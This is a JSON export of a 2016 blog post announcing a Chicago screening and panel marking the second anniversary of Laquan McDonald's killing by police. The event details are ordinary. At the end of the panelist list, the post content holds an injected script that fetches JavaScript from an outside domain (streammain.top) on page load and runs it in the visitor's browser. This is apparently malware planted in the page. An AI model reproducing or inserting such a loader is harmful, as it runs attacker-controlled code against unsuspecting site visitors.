{"id":1655,"date":"2016-10-18T09:39:11","date_gmt":"2016-10-18T14:39:11","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=1655"},"modified":"2025-06-03T00:29:56","modified_gmt":"2025-06-03T05:29:56","slug":"america-divided-remembering-the-killing-of-laquan-mcdonald","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2016\/10\/18\/america-divided-remembering-the-killing-of-laquan-mcdonald\/","title":{"rendered":"America Divided: Remembering the Killing of Laquan McDonald"},"content":{"rendered":"<p><a href=\"http:\/\/blackworldcinema.net\/blog\/2016\/10\/18\/america-divided-remembering-the-killing-of-laquan-mcdonald\/americadivided\/\" rel=\"attachment wp-att-1656\"><img fetchpriority=\"high\" decoding=\"async\" width=\"739\" height=\"318\" class=\"aligncenter size-full wp-image-1656\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided.jpg\" alt=\"americadivided\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided.jpg 739w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided-300x129.jpg 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided-600x258.jpg 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided-720x310.jpg 720w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/10\/AmericaDivided-400x172.jpg 400w\" sizes=\"(max-width: 739px) 100vw, 739px\" \/><\/a><\/p>\n<p>Thu, October 20, 2016 |\u00a07:00 PM \u2013 10:00 PM CDT<br \/>\nChatham 14 Theatre<br \/>\n210 West 87th Street<br \/>\nChicago, IL 60620<\/p>\n<p>October 20, 2016 marks the 2nd anniversary of the killing of 17-year-old Laquan McDonald by the Chicago Police. In commemoration of his life and in honor of the activism spurred by his death, we invite you to a screening of &#8220;The System&#8221; an excerpt from the EPIX Original TV series America Divided, which follows hip-artist native Common as he investigates inequality and injustice in his city.<\/p>\n<p>Panel &amp; Community Conversation following the screening with the Executive Producer Richard Rowley, Producer Leah Natasha Thomas and community leaders.<\/p>\n<p>Moderated by <strong>Anton Seals, Jr<\/strong><\/p>\n<p><strong>Panel Members:<\/strong><br \/>\nJanae Bonsu, Black Youth Project<br \/>\nJamie Kalven, Invisible Institute<br \/>\nShari Runner, CEO National Urban League Chicago<br \/>\nRichard Rowley, Executive Producer of the series<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thu, October 20, 2016 |\u00a07:00 PM \u2013 10:00 PM CDT Chatham 14 Theatre 210 West 87th Street Chicago, IL 60620 October 20, 2016 marks the 2nd anniversary of the killing of 17-year-old Laquan McDonald by the Chicago Police. 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